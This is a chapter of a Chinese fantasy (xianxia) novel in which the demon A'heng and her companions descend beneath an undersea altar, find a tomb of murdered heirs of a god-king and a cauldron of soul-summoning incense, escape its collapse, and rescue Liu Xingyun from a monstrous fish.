幽暗的海水中忽然一簇焰光显现,那光芒因此地过分浓烈的黑而显得十分朦胧,模模糊糊地映照那黑衣少年一张苍白秀整的脸,阿姮脸色十分不好,但听霖娘呼救的刹那,她便立即回身望去。 程净竹指尖金焰闪烁,目光环视,却发现此地海水污浊更甚,用来照明的术法作用微弱,根本无法将此地探照清楚,此时一柄金剑划破海水飞来,程净竹侧身一避,飞身朝金剑来时的方向掠去,忽然一脚空踏,碎石随水流下滚,一只手自他背后一把拽住他腰间的法绳,程净竹回头,指尖金焰映照阿姮那副凶巴巴的模样。 很显然,她还是很生气,那双暗红的眼睛瞥一眼他周身淡淡的金芒,语气十分不好:“你金身也没坏,怎么连脚下的路都辨不清了?” 程净竹一顿,随后站定:“照明术几乎无用,人眼自然难辨。” 阿姮这双妖邪的眼自然是要比人类的眼睛强许多的,但在这样一个地方,她也仅仅只能依稀看见脚下的路。 但她总觉得他有点奇怪。 可一时间,阿姮却又说不上来到底哪里奇怪。 普通的照明术无用,阿姮松开他的法绳,抬眸见他袖中飞出白符,并起双指,金芒烧化白符,灰烬如缕随他手指化成一个金光耀耀的法阵,在半空之中徐徐转动。 法阵降下的金光勉强照亮此间,这似乎是祭台之下一处无比深邃的幽隙,怪石嶙峋,浊流如墨,阿姮与程净竹正立在一处怪崖之上。 金剑飞来,直逼崖下,程净竹立即下视,险峭的崖壁上,一道人影艰难地挂在其间,那金剑及时飞到他脚下,托住了他。 程净竹神色一凛,立即并指结印,白符飞出,落到那影子身上,化成一个气泡,带着他轻盈地飘了上来。 “小师叔……” 此人正是积玉,他方才落下来之时身上的气泡被浊流击散,他堪堪抓住崖壁,却觉得这黑水令他心肺剧痛,气脉不顺,竟然无法运功。 程净竹抬手,怀中药囊立即有微苦的药香散出,他结出金印,引药入印,打入积玉胸膛,药箓很快见效,积玉终于呼吸顺畅许多。 “霖娘呢?” 阿姮往四周一望,并没有发现霖娘的身影,她不由看向怪崖底下那黑洞洞的一片,难道…… “嗯呜呜呜……” 霖娘模糊不清的声音忽然从阿姮背后传来。 阿姮身形一顿,转过脸去,却仍没从那片昏暗中看见霖娘的身影,此时,离她不远处的那一滩不断内陷的淤泥里伸出来一只脏兮兮的手,抖个不停。 阿姮露出个难以言喻的表情,万木春从她发间飞出化出本相,剑意所指,金芒劈开粘稠湿润的淤泥,终于显露出一个深坑。 霖娘瘫在坑底,重见光明的瞬间,吐出一嘴的湿泥。 阿姮走了过去,有气泡的保护,她一双绣鞋寸污不沾,站在坑边朝下一瞧:“这便是你说的……坟包?” 本来的确是个包,但霖娘掉下来,将堆积得像个小山丘一样的淤泥给砸了个洞,这泥又湿又黏,她越动弹便越是往里陷。 霖娘木着一张脸,然后一个翻身。 阿姮顿时一愣,只见金芒朗照之下,一副森白的尸骨以极度扭曲的姿态蜷缩着,被霖娘压得牢牢嵌在坑底。 “还真是个坟包啊。” 阿姮挑了挑眉。 她观那尸骨除了胸骨之外,还算齐全,也就少了一只手,但阿姮看向连滚带爬从坑里出来的霖娘,就见少的那只手正攀在她的发髻上。 霖娘显然是最先摸到那只手,才知道自己卡在了个坟包里,这会儿她苦着脸,忙将那爪子给扔回坑里,口中战战兢兢地念道:“对不起,实在对不起,我无意冒犯,真的无意冒犯!” “你在怕什么?怕他变成鬼来找你把他的爪子接上吗?” 阿姮幽幽道。 “不是,”霖娘如今已安然接受自己水鬼的身份,倒也不是怕什么别的鬼,“总归是我不小心扰了人家清净。” 霖娘施展术法立即将自己身上的脏泥清除,此时阿姮方才发觉霖娘身上竟有不少口子:“你受伤了?” “方才往下坠的时候,有不少黑气攻击我们,实在难缠得很!”霖娘说着,有些后怕地摸了摸自己的脸,“幸好我把脸捂严实了,才不至于破了相。” 阿姮闻言,再看积玉,果然见他身上不少血口子,他不像霖娘那样在乎自己破不破相,所以脸颊也有几道血痕。 黑气? 哪里有什么黑气? 阿姮自己并未受伤,她转头观程净竹,看他利落地封住积玉的经脉,衣履洁净,姿仪不损,显然金身未破,不曾有伤。 “积玉!” 霖娘此时才发现积玉如此模样,她连忙跑过去,焦急问道:“你怎么样?没事吧?” “小师叔,这地方不对劲……” 积玉好不容易发出声音,他一张脸几乎发紫。 他忧心小师叔与阿姮二人的处境,正在那祭台上不知所措,却不料那黑气竟然忽然又冒出来,他和霖娘想也不想一前一后跳下来,只是他们二人术法用力过猛,又与黑气缠斗不停,往下坠得太快,他的气泡一裂,人便呼吸不得了。 “此地疫毒极重,”程净竹查验了他的眼白,见血色并不算重,“好在你体内有药王殿的百药丹,这疫毒暂未伤及你心脉,先不要说话,好好调息。” 凡上清紫霄宫弟子,药王殿皆会赐下一粒保命丹,而积玉本就是药王殿弟子,自然也有此丹,他年纪轻,尚未修成金身,血肉之躯无法抵御这黑水疫毒,若非有百药丹护住心脉,只怕他如今已是个死人了。 积玉依言不再说话,任由霖娘将他扶着坐起来,闭目调息。 “这到底是什么地方?为什么这里的疫毒这样重?”霖娘站起身,金光法阵光芒耀耀,但她低头看向积玉方才险些坠落的崖下,法阵金光如此之盛,竟也照不亮崖下那片深邃的黑,很显然,那下面的疫毒只会更恐怖。 阿姮回过头,瞥一眼淤泥深坑中的那副白骨,再转过脸,她低睨崖下那片漆黑:“下去看看不就知道了?” 程净竹有一副金身,霖娘本为水鬼,而阿姮从前在赤戎那片黑水河中便如鱼得水,即便底下的疫毒再重,对他们三人而言,也没什么好怕的。 但为以防万一,程净竹依旧画了道符,给霖娘造了个护身气泡,三人自怪崖上一跃而下,转瞬之间,崖上只剩积玉一人仍在闭目调息。 浊黑的水波流动,他在半透明的气泡中岿然不动。 崖下原本死寂,但阿姮三人方才跃下去便立即察觉不对,千重急流毫无预兆地激荡而来,程净竹迅速抽出银尾法绳,清音在浑浊的水流里急响,法绳精准地缠住阿姮与霖娘的身躯,及时将她们拽了回来。 霖娘手中的菱花小镜映照她一张惊魂未定的脸,她反应过来,立即挥动小镜,施展术法,如凝剑意般锋利,逼向他们而来的水流顿卸几分锋锐,如练如帛,柔软地缠裹,将他们三人围护其中。 霖娘咬紧牙关,却无法化解水中戾气,浊流无孔不入,顺她术法缝隙而入,如刀锋般擦过她的颈项,阿姮猛然击散那束流水,黑水洒了她满襟。 阿姮嗅到一种隐秘的味道。 那味道侵袭着她的五感,令她恍惚。 正是此时,程净竹扬袖,数张白符飞出,他迅速取出怀中的瓷瓶,脆声一响,阿姮回神,只见他已握碎那瓷瓶,药气如尘散开,苦涩的药香弥漫,他立即并指结印:“天地自然,相法万般,吾心所证,万秽无存!” 金印顷刻烧化白符,浸润得药尘粒粒泛光,所过之处,黑水分流,程净竹双指一绕,银尾法绳立即收紧,将他们三人紧束在一起。 脚下药尘若金粉一般形成一个法阵,阿姮与霖娘顿时觉得双脚稳如泰山,此时,阿姮看向霖娘术法凝成的水幕之外,乱流汹涌如箭雨,从四面八方扑来,若不是脚下的法阵将他们三人紧束于此,令此身犹如磐石,只怕如今他们早已被乱流裹挟而去。 “程公子,这是什么?” 霖娘得了喘息之机,大松一口气,她看向脚下的药尘正不断吸收着钻入水幕缝隙来的浊流,不由问道。 “无秽香。” 程净竹盯着水幕外乱如箭雨般的浊流:“药王殿殉道弟子道心凝结而成,可净世间一切污秽。” 所谓殉道,即身死。 上清紫霄宫中,唯药王殿弟子入世,入了世,既要悬壶济世,又要除魔卫道,常有药王殿弟子死在这条入世的修行路上。 药王殿以他们的道心为引,成这无秽香。 哪怕他们身死魂销,亦有除秽净世的道心永存。 阿姮看向水幕外:“霖娘,你觉得这东西真能将这里的黑水都解决了?” “啊?” 霖娘冷不丁听阿姮这么一问,她还摸不着头脑,转过脸见阿姮虽是在问她,那双眼睛却一瞬不瞬地盯着程净竹的后颈。 “……” 她就说她啥也不知道,阿姮问她干什么。 霖娘正绞尽脑汁想要缓和他们两人之间这奇怪的氛围,此时,程净竹转过脸来,法绳将他们三人紧紧收束在这无秽香凝成的法阵之中,距离如此的近,他垂眸与阿姮相视。 阿姮一点也不想和他说话,但被他盯着,又实在忍不住:“看什么看?” “黑水是天衣人的怨戾所化,无秽香无法真正解决它,只不过暂时替我们化去急流而已。” 程净竹浓而长的睫毛一动,盯着她,语气清淡:“还想知道什么?” 阿姮想知道什么? 她想知道什么他难道不明白吗?她始终对他的那句“我有点生你的气”耿耿于怀,她翻遍那些才找回来的记忆,也没发现自己到底做了什么惹他生气,他到底凭什么生气?阿姮正要开口,却见他微微侧身,身形几乎立即侵入裹覆着她的气泡里,青蘅草的隐香袭来,他盯着她,说道:“先好好与我说话。” 阿姮大脑有一瞬空白,是被气得空白,她那双暗红的眼瞪着他,却见他云淡风轻地站直身体。 他什么意思? 她不好好和他说话,他就什么也不告诉她是吗?他凭什么这样威胁她?他生什么气有那么重要吗?她其实也不是很想知道! “你方才闻到了什么?” 程净竹一边结印,一边问她道。 阿姮方才被溅了一襟的黑水,也不过瞬息的失神,竟然也被他察觉到了,阿姮盯着他侧脸片刻,恶声恶气:“天衣人的味道!” 霖娘很努力地在忍了,但还是没能阻止那死命上翘的嘴角。 阿姮啊阿姮,脸上凶巴巴,嘴上却这么听话,你真的完了。 此时程净竹指尖金印结成,悬于怪崖之上的金光法阵顿时下压数寸,金光勉强令他看清水幕外胡乱交织的暗流,袖中一道白符飞出,燃成一寸金芒跃出水幕,趁脚下无秽香凝成的法阵减缓流水的空隙,金芒从万流中划出一线,他立即抓住法绳带阿姮与霖娘二人跃出水幕,迅速穿过那道被金芒划出的窄径,钻入前方一片浓烈的黑气之中。 破水之声响起,随后便是一片死寂。 阿姮双足落地的刹那,身上的气泡因无水而自破,紧接着,她身边霖娘的气泡也破了,这里的黑气像笼罩的阴云,阿姮回过头,那些流水在外不断冲撞的声音竟然是那么的模糊,这阴云好像将无尽的海水隔开了,隔出一片新天地。 浓浓的白雾充斥此间,几乎令人无法视物,那金光法阵的光芒根本照不进这里来,程净竹召出数道白符燃作金焰,四处流转,白雾缓缓散开,从浓转淡。 也许是这里太过漆黑,点点金焰所散发的光投落下来,竟如月华一样的冷,昏昏照着眼前这片阔达的平地,淡淡的雾气仍在地面氤氲未散,阿姮举目一望,只见不远处是一片连绵料峭的山壁,山壁之间彩檐飞画,又有石刻栩栩,不知名的藤花几乎如盖,山壁中间更嵌有一扇朱红大门,门上金沤浮钉,淡光一照,便灿然生辉。 阿姮望一眼头顶,阴云如织,昏黑如瑿,再看这于险峭山壁中开辟出的一道朱红高门,好似此地根本不是东海水底,而在哪座仙山。 再看那大门上方,一副牌匾正挂,阿姮歪着脑袋瞧了又瞧,奇怪道:“那上面到底是符纹还是字?” 符纹不像符纹,若说是字,却又跟她学的那些一点也不像。 “感觉像是字……” 霖娘却也认不出来那到底是什么字,她从来没见过这样的字。 “是坍鸿时期天衣人的文字。” 程净竹目光扫过那金匾,说道:“上清紫霄宫中有旧典,天衣人统治天下之时,天衣文字虽繁复,却被奉为正统,直到九仪再造三界,天衣文字便逐渐被人淡忘。” “那上面到底写的什么呢?” 霖娘不由问道。 飞浮的金焰散发的点点冷光划过那匾额上深刻的字痕,程净竹目光随之审视而过:“琢神冢。” 霖娘说道:“这是天衣人的文字,那这冢,只怕是天衣人的冢!” 霖娘话音才落,便见阿姮走上前去,竟几个跨步上了那石阶,霖娘顿时失色:“阿姮,你可千万不要妄动,那上面好像有法阵的痕迹!” 阿姮闻言,看了一眼门上的铜扣。 “这法阵经年,早已失效。” 程净竹走上石阶,亦在看那铜扣。 上面不过残存了些锋锐的碎痕,但这对阿姮来说显然不算什么,她抬手猛地用力,大门发出沉重的“吱呀”声,忽然一阵冷风袭来,冷雾缓缓流动,朱红大门两边高高悬挂的灯笼随风一荡,倏尔亮起,红绢灯笼里投落的光影如血雾般,映在阿姮与程净竹身上,大门缓缓打开,莹白的雾气随之从门内奔涌而出。 霖娘快步跑上阶来,抬头正见门内淡烟浮动,几不见光,黑乎乎的一片。 金色的焰光一簇一簇随他们三人而动,飞入门内,好似天星一般点缀四周,然而此地的漆黑并非金焰可以驱散,阿姮正要让小神仙再造一个金光法阵,却忽然一顿,正是此时,四周倏尔亮起一簇又一簇的紫芒。 那银冷的光辉似乎才是真正照亮此地的法门,阿姮猝不及防看见不远处的石壁上烛台深嵌,数以千计,托着点点紫芒,顷刻朗照这片天地。 阿姮目之所见,乃是一座恢宏殿塔,玉砌雕栏蛛丝遍结,悬如缟素,朱漆残损,雕梁蒙尘,烛台托起紫芒如烛火般颤动,极冷的光影中,石壁上镂刻数个孔洞,那些孔洞被精心修葺,红漆碧瓦,白玉栏杆,构成数个深嵌石壁中的龛,龛中各有一副白骨端坐其中,环绕整个殿塔。 他们森白的眼眶骨中的眼球早已腐化不见,但阿姮此时身处殿塔中央,竟有一种被他们冷冷注视的错觉。 “这些是……” 霖娘瞳孔震颤。 阿姮鼻尖微动,嗅了嗅,说:“天衣人,他们都是天衣人。” 神识弥合,记忆尽数回笼,阿姮记得那些被投入丹炉的天衣混血的气味,他们有一半天衣人的血统,气味自然与天衣人相近,阿姮无比熟悉这种气味。 阿姮扫视着这殿塔内的石龛,龛中白骨如雪,幽幽紫火燃烧,照见丝丝缕缕的黑气从白骨中散发出来,仿佛无穷无尽地笼罩整座殿塔。 “原来,这里便是东海黑水的源头。” 阿姮眉头一跳,明白过来。 这驱不散的黑暗,是天衣人跗骨而生的疫毒,这疫毒遍布整座殿塔,甚至散入海水,侵蚀整个东海。 “我原以为东海可能是坍鸿时期的古战场。” 程净竹盯着那些石龛中的白骨,说道:“但如今看来,东海从前应是天衣人的神墓。” 在龙族占据东海之前,在九仪还未推翻的坍鸿时期,常年笼罩着迷雾的东海,早已悄无声息成为天衣人精心选定的埋骨之地。 程净竹垂眸,回想起自己曾在药王殿藏书楼上看过的古籍:“传闻中,天衣神王共有子嗣三百零二人,在天衣圣子成为神王继承人的那一日,余下三百零一人全部被杀,无论是天衣旧史,还是其他典籍中,从来没有关于这三百零一名神王子嗣的记载。” “……什么?”霖娘简直不敢相信自己的耳朵,“那天衣神王竟然残杀自己的亲骨肉?为什么?选定一个圣子,其他人便都要死吗?” 这实在有悖血亲伦常! “人生一世,草木一秋,人与世间万物一样,从来都在荣枯的定数之中,而天衣人自以紫目神窍代替血肉心脏之后,便彻底逃离了这种荣枯轮转的定数,一身血肉之躯不老不腐,即便身躯出了意外,他们亦可借器而生,器不损,魂不灭,”程净竹轻抬眼帘,目光扫过数具白骨空洞的胸口,“但天衣神王不一样,他身负无上神通,却也因此而苦,血肉身躯难保,紫目神窍不稳,长生只会令神王一身神通日益衰减,所以天衣神族人人可得长生,唯独神王始终难逃荣枯定数,为维持天衣神族的统治,神王,必须要有一个继承者。” “天衣旧史有载,历代神王孕育子嗣,皆只为从中择一合格的继承者,最强的那个成为圣子,其他人便只有一死,以此确保神王至高无上的唯一地位。” 神王,只能有一个。 圣子,也只能有一个。 在天衣人弱肉强食的冰冷法则下,夺权被扼杀在摇篮里,唯一的强者,注定要吃尽弱者的血肉,用以祭奠他将要得来的王位。 “所以,这里便是那三百零一个神王血脉的坟墓。” 阿姮看向其中一个石龛中,那副白骨看似端坐,手脚却已尽断,碎骨散在座下,可见其生命凋零得也并不从容:“这里残留的法阵痕迹简直多得像牛毛,他们的胸骨几乎全部被粉碎,紫目神窍无存,看来他们的父王,对他们是真狠心啊……” “凡是神王血脉,紫目神窍只会比寻常天衣人更难毁伤,只有如此之多的法阵才能真正令他们身死魂销,永不复生。” 程净竹想起外面那副金匾,玉砌雕栏,金壁朱漆,眼前这一具具白骨高坐神台,满殿紫火为他们而明,但他们从来不是什么神明,而是天衣神族为雕琢出一个至高无上的神而必要舍弃的杂尘。 轻如鸿毛,死不足惜。 所以天衣旧史上无名无姓,只有方才金匾上“琢神冢”三字,是他们唯一的注解。 “可是,”霖娘默默数了一会儿,忽然出声,指向一处,“这座石龛为什么是空的?” 阿姮与程净竹几乎同时顺霖娘所指的方向看去,幽幽紫火闪烁着,映照那石龛之中蛛网如练,积尘累累,果然并无白骨端坐。 阿姮一时好奇,飞步踏上中心圆台,要一探究竟,一阵清音如雨,她腰身被什么缠住,阿姮止步垂眸,银尾法绳寒光凛冽,她回过头,幽幽盯住那黑衣少年。 他手挽法绳,阿姮顿时轻飘飘地落到他身边。 “你……” 阿姮才开口,却忽然被他捂住口鼻。 他声音泛冷:“闭气。” 阿姮下意识地屏住呼吸,眨了眨眼睛,觉出鼻息里残存的一点余味。 她那双暗红的眼神情一滞,瞳孔有些涣散。 霖娘吓得连忙捂住自己的口鼻,程净竹看她一眼,说道:“这香灰只对她有影响。” 香灰? 霖娘一愣,放下手,转过脸,只见那圆台正中有一尊青铜鼎,那鼎太大,不走上阶去根本看不到里面有什么,或因阿姮方才上去,她的步履带风,扬起鼎中极细的灰尘,紫火隐约照见那朱砂般的尘灰,霖娘细细一嗅,那芳香的味道竟与祭台上流淌于符纹之间的龙血的味道如出一辙。 霖娘一下看向阿姮。 她明白了。 阿姮这是……被香晕了。 如此芳香的血气对霖娘自然是没有什么影响的,可阿姮是天衣人精心制造的妖邪,嗜血,始终是她无法割舍的本能。 祭台上的龙血显然不如那鼎中混着香灰的龙血浓郁,只嗅到一丝这气味,阿姮便神摇意夺,口干舌燥,程净竹立即要结印封她五感,却猛的一顿,他感觉到掌心被柔软的,温热的舌尖轻轻扫过,他垂眸看向她,那双暗红的眼睛半垂着,她显然已经无法自控闭气这件事,她贪婪地透过他修长的指节缝隙嗅闻香灰中浓郁的血气。 她那样难耐,本能使她兴奋,又使她痛苦,苍白纤细的颈项也因此而青筋暴起,一副与人类般如出一辙的血肉皮囊包裹不住她内里的妖性,她的脸颊不住地蹭他的指节,试图令他松手,可他纹丝未动,指节甚至绷得更紧,阿姮模糊的声音从他指缝中钻出:“小神仙,我可以吃掉那些吗?” “你可知那些是什么?” 阿姮双目直勾勾地盯住那尊青铜鼎:“香灰,混着老龙王鲜血的香灰……” 程净竹掐着她的下颌,将她紧紧粘在鼎中的目光落到他脸上,他道:“所谓香灰,即是这些神王血脉的骸骨。” 霖娘本来看阿姮那样难受,还想劝程净竹让她吃一些算了,此时听见这话,霖娘一个激灵,忙道:“阿姮,那你还是别吃了!” 骸骨,天衣人的骸骨。 阿姮十分恍惚,反应了一会儿,才明白他在说些什么,她鼻息满是芳香的血气,她的双眸为此而癫狂:“我曾享用过不知多少人的血肉……骸骨?骸骨算什么?” 神识弥合,记忆如新,她数不清自己到底在天衣人的丹炉里享用过多少天衣混血的血肉骨髓。 “那是他们强加给你的本能。” 程净竹微微垂首,盯住她:“告诉我,你真的喜欢这些吗?” 喜欢? 阿姮的眼睛似乎茫然了一瞬,很快,她想起了那些被自己遗忘过的感受,天衣混血的血肉骨髓令她重生,令她强大。 令她贪婪。 享用他们的血肉,会使她获得无上的愉悦,但她记得,那种无比的愉悦,无比的兴奋过后,她又感受到无穷无尽的恶心。 但贪婪的本能促使她此刻无法去管什么恶不恶心,龙血的味道在引诱她,引诱她不顾一切地追逐本能。 “阿姮,你不喜欢,也不需要。” 他的声音落来阿姮耳畔,阿姮视线聚焦,勉强看清他的脸,听见他道:“我教过你,要克欲,若你想做人,做一个好人,你便必须要学会克制自己的欲望。” 他为什么一定要管她喜欢还是讨厌呢?喜不喜欢,是比不上本能的欢愉的,阿姮盯着他,本能在不断地尖啸,要她用这副躯体沉入那青铜鼎中,青筋分缕爬满她的颈项,疼得像要裂开的脑子里有一个自己告诉她,去,享用那一切,本能所追逐的,即是你喜欢的。 是吗? 阿姮难捱的呼吸喷洒在程净竹的掌心,她垂下眼帘,看向他冷白的手背,因为紧绷的指节,手背显露的筋骨寸寸明晰漂亮,她的声音响起:“我是想做人,却并没有说过我想做什么好人……” 她的唇齿轻擦他的掌心,猛的一口咬住他一截指根,齿关顿时刺破他单薄的皮肤,她的齿尖刺入他血肉更深,鲜血顺指根淌入手掌,却被她贪恋的唇舌吮舐,尖锐的刺痛令程净竹怔了一瞬,指节一松。 他的禁锢已经不再。 阿姮却如一个甘愿自囚的囚徒,唇齿反复流连他指根的咬痕,她终于恋恋不舍地抬起脸来,看向那尊青铜鼎,双目竟然一片清明:“吃那些东西还是太恶心了,我下不去嘴。” 她明明有最喜欢的东西。 在这个世上,任何血气,都远不及它芳香。 霖娘早已不知自己该往哪儿看了,早早地转过脸和一副石龛里的白骨大眼瞪小眼。她目似铜铃地盯着那两个洞,忽然听见阿姮这句话,她一下转过脸,只见阿姮神色自若,嘴唇还残留着一点血迹:“阿姮,你……你没事了吗?” 阿姮点头应了一声,又抿了下嘴唇。 本能仍在影响着阿姮,她并不舒服,小神仙的那点血于她不过饮鸩止渴,却也足够助她堪破迷障,她捏住自己的鼻子,尽量避免嗅闻龙血的味道,再看面前的黑衣少年:“你的金身呢?我方才咬你,怎么没有任何感觉?” 可他身上明明有淡淡的金芒。 程净竹盯着指根那处咬伤片刻,抬眸迎上她的目光,没有说话。 他明明金身仍在,她却咬破了他的手,且没有受到任何禁制影响,这只能说明……他是默许的。 阿姮露出一个灿烂的笑容,此前心里憋的那些气此刻全都烟消云散,她转过脸去,看向那尊青铜鼎,因为捏着鼻子,所以声音有点闷:“又是老龙王的血,又是这些神王血脉的骸骨,天衣人到底想做什么?” 程净竹缓缓蜷握起那只手:“我本不解天衣人到底为何一定要在东海建一座祭台,他们到底要用那座祭台做些什么。” 他抬起眼帘,看向那尊青铜鼎,神情变得肃冷:“如今得见这座琢神冢,一切就都说得通了,有人将这尊青铜鼎放在这里,以东海龙王的血作引,祭台则为一条明路,这些骸骨烧了便是招魂香。” “什么引子,明路,招魂香……”霖娘听得一头雾水,皱起眉头,“天衣人弄这些到底是干什么的?” “为了将天衣神王被禁锢在赤戎的神魂招来。” 程净竹说道。 ……这实在太令人难以置信了。 阿姮看向他:“有了这些东西,便能助天衣神王的神魂突破赤戎封印?” 程净竹颔首:“他本有残缺的神识遗留在外,以他亲生血脉骸骨制成的招魂香,可以使他在赤戎的神魂化于虚无的同时,突破一切限制,祭台若成,便能为他引路,使他遗留在外的神识从残缺长到圆满,最后,再利用东海龙王的血——夺舍。” 夺舍。 “所以,天衣神王原本想要占据东海龙王的躯体?” 阿姮明白过来。 “东海龙王真龙之身的确是承载天衣神王那副神魂的最佳容器,寻常天衣人的紫目神窍不过代替心脏而已,神王的紫目神窍既是心脏,也是神魂,若他果真夺舍了东海龙王,他一身无上神通自不必再受普通血肉皮囊所制,他亦能长生不灭。” 程净竹对上阿姮的目光:“只可惜,他的妄想落空了。” 阿姮想起来,自己好像将天衣神王的神识给粉碎了,如今只怕连渣都不剩,也就是说,天衣神王好像已经完蛋了。 脚下的地面忽然震颤,阿姮低头,紫火朗照一片积尘飞扬,再抬首,震动欲烈,三百石龛中白骨每一寸骨节碰撞着,他们的皮囊早已腐化,心与眼,全都随他们的神窍而烂了个干净,违逆天时,不入轮回的后果便是这世上的清风雨雪中永远拼不齐他们一丝一毫的神魂,此时这种骨颤之声,竟像他们留存于世上的最后一缕不甘的呜咽。 整个殿塔猛烈摇晃起来,霖娘险些站不住:“这是怎么了?!” 程净竹仰望一眼殿塔上方弯曲的彩绘横梁,沉声道:“快走!” 横梁发出断裂的声音,阿姮身化红雾,将还没搞清楚状况的霖娘卷在其中,随程净竹迅速朝殿塔大门外奔去。 几乎是他们方才奔出大门的刹那,里面横梁断裂,坠落的彩绘雕梁轰然一声砸翻青铜鼎,混合着龙血的香灰飞扬如血雾,石龛中三百尸骨顷刻崩裂。 神台之上,枯骨成堆。 万千紫火一灭,汹涌的黑流奔出殿塔,如黑蛟入水,散向四方。 阿姮三人突破黑气的刹那,无尽的海水涌来,程净竹化出两道符凝成气泡,将阿姮与霖娘包裹其中,黑流从他们身边穿过,浓郁得像墨,与万千急流相汇,那种流墨般的颜色顿时扩散开来。 “怎么办?这疫毒好像更重了!” 霖娘大喊。 殿塔倾塌,里面那三百具枯骨经年的恨,经年的怨,彻底被释放出来,将这海水染得黑透了。 “先离开这里再说!” 阿姮说道。 程净竹再度以无秽香凝成法阵,三人好不容易趁暗流速度减缓,穿过缝隙回到那怪崖之下,便听崖上正有人一声声地喊:“小师叔!” “霖娘!阿姮!你们到底去哪儿了!” 金光法阵自崖下飞上去,积玉的声音戛然而止,他看到那法阵的耀耀光辉照见他们三人完好无损地出现在崖上。 “积玉,你没事了吗?” 霖娘一见他,便奔上去关切地问道。 积玉满头大汗,此时终于松了口气,他朝霖娘点点头,又看向程净竹与阿姮:“我们快离开这里吧,这崖在下陷,这里要塌了!” 四人相视一眼,立即跑回到他们方才掉下来的地方,却见他们方才下坠的那道长长的幽隙竟然显露一线光亮,那光亮照得黑水昏昏,阿姮似乎似乎听到一些模糊的杂声。 “祭台塌了,是祭台塌了!” 积玉明白过来。 只有那座高耸巍峨的祭台塌陷,才能有这般地动山摇之势,而隐藏在祭台之下这道狭窄的幽隙,才会得见这一线光亮。 “柳郎……” 霖娘脸色一变:“柳郎有危险!” 她来不及想更多,飞身往那幽隙中向上去,可没有祭台为掩,上面的急流顺这幽隙奔涌而下,压得她不受控地向下回落。 正是此时,她脚下忽然多了一股支撑,霖娘低头,只见一柄金剑稳稳撑着她双足,底下积玉双手结印,金剑再化两柄,托他与程净竹逆流而上。 阿姮身化红雾,缀在程净竹衣袖边缘,几人先后穿过汹涌急流,朝着上方那一线光亮去。 离那光不过咫尺的刹那,金剑擦着足以将人一身皮肉划个稀烂的激流发出一阵清啸,如行船般压碎万重波浪,携几人跃入那片海筹织就的光亮之中。 祭台千重玉阶粉碎,散乱的精铁,石料轰然下坠,一尊九头鸷石像从天朝方才从幽隙中一跃而出的四人砸下来,一声龙吟乍响,一条青龙将他们稳稳接住,灵巧地避开数块下坠的巨石,那九头鸷石像落地,“砰”的一声,崩裂开来,陷入幽隙。 霖娘惊魂未定,回过头去,方才见他们出来的那个地方竟成了个漩涡,那漩涡不断地旋转,将那片海水搅得无比汹涌。 “公主,发生什么事了?” 霖娘喘着气喊道。 青龙发出一道女声:“何罗鱼发现了我!天衣人的摄魂杵真是可恨!” 很显然,何罗鱼发现龙女竟然在祭台,赶了回来,而那些凡人们没有办法,只能落下九头鸷神像,鱼死网破。 祭台已成一片废墟,霖娘在青龙背上下视,人影如织,海筹在石柱上扯着嘶哑的声音高喊:“我东海水族仰仗龙王威势安逸了几千年,若无龙王,便无我等,今日龙王受制,东海将要无存,我东海儿郎听着!疫毒又如何?只要还有一口气在,便与这些妖祟拼了!死了,也是为龙王而死,为东海而死!” 东海海兵们身上几乎都各有不同程度的溃烂,他们早已被疫毒折磨得生不如死,麻木得不成样子,也不知为何,眼见那样巍峨的一座祭台被凡人顷刻弄塌,塌下来被他们踩在脚下,他们感到无比的振奋。 又听海筹这番话,他们更从千疮百孔的伤痛中拧出一些精神来,开始发了疯似的挣脱锁链,反抗束缚。 “为龙王而死!为东海而死!” “为龙王而死!为东海而死!” 几乎全是病残的海兵们喊出震天的吼声,他们变化着自己的身躯,化成最巨大的模样,抓到兵器,便用兵器,若无兵器,便用嘴疯狂地撕咬。 那些为天衣人马首是瞻的妖怪们哪将这些病得快死的玩意放在眼里,各化法器,毫不犹豫地奔上去厮杀开来。 “我东海子民,我来助你们!” 海筹在石柱上不断地挪动自己庞大的身躯,任由那森寒的铁锁将他越锁越紧,迸发出一簇一簇明亮的光,散向四方。 此时,霖娘看到悬在浑浊海水中,一道庞大的影子缓缓转过身来,他生着鸟一般的头颅,有鳞有羽,还有一双与龙近似的角,一双漆黑的竖瞳,头颅之下,十个身子犹如黑蛟,此刻,鸟喙一张,是道苍老的人声:“海筹将军,你真是和你的龙王主子一样傲慢,可你这样,只会让东海更快灭族。” 祭台已毁,天衣大长老交给他的重任已然功亏一篑。 无论是海筹,还是这些海兵,甚至是那些可恶的人类,已经没有任何用处了。 霖娘看到随着他徐徐转身,露出他一只像鸟一样的爪子中,尖锐的指甲勾着一道人影,霖娘瞳孔一缩:“柳郎!” 霖娘召出菱花小镜,搅动水波如练,从龙背上一跃而下,水练骤然缠住那只鸟爪子,骤化坚冰,何罗鱼回过头来,便见自己的爪子成了个冰坨子,他那双竖瞳往下一瞥,小小水鬼攀住那人类双肩,奋力撕扯着那人类被他勾住的后领子。 何罗鱼稍稍一动,冰裂之声响起,霖娘抬头对上他那双阴冷的竖瞳,柳行云煞白着一张脸,大喊:“霖娘让开!” 何罗鱼指甲一动,霖娘与柳行云不受控地身体往上,眼见何罗鱼摊开爪子,要将他们两个捏死,霖娘结印化出水波打在何罗鱼身上,借水浪的推力带着柳行云往后一仰,正是此时,金剑飞来,锵然一声,擦何罗鱼指甲而过,震得他爪子偏了几寸,他将要抓握那两人,却被一团红云烈焰裹住了爪子,紧接着,一根银尾法绳迅速缠住霖娘与柳行云,将他们拽回龙背之上。 何罗鱼身躯几乎如一尊九头鸷石像那样高大,他的视线随银尾法绳的方向而去,看到那青龙背上的几人。 他爪子上的红云烈焰终于熄灭,表面的鳞片被烧得发黑,阿姮在龙背上微微一笑:“喂,怪东西,这冰火两重天滋味不错吧?” “柳郎……柳郎你没事吧?” 霖娘将柳行云放到龙背上,见他嘴里不断淌出血来,她几乎带着哭腔。 柳行云被鲜血堵住喉咙,发不出什么声音,只能冲她摇头,勉强安抚,阿姮站在一边,见他胸口金钉四处乱窜,搅动着他的血肉。 她扬手,红雾顷刻钻入柳行云的胸腔,他脊背一僵,身躯绷紧,一双眼睛瞪大,生理性的眼泪不断顺眼睑而落,一张脸惨白得可怕。 阿姮闭眼,感受着红雾顺他的血肉,追那金钉而去,在金钉即将穿透心脏的刹那,红雾精准将其截住。 阿姮一下睁开眼,手指一抬,红雾猛然将那金钉拽出,牵扯出一片鲜血喷涌,柳行云又大吐一口血。 “柳郎!” 霖娘尖叫。 “别叫了,”阿姮被她那一声尖叫刺得耳心疼,她摊开掌心,金钉混着鲜血在她手中,“他死不了。” 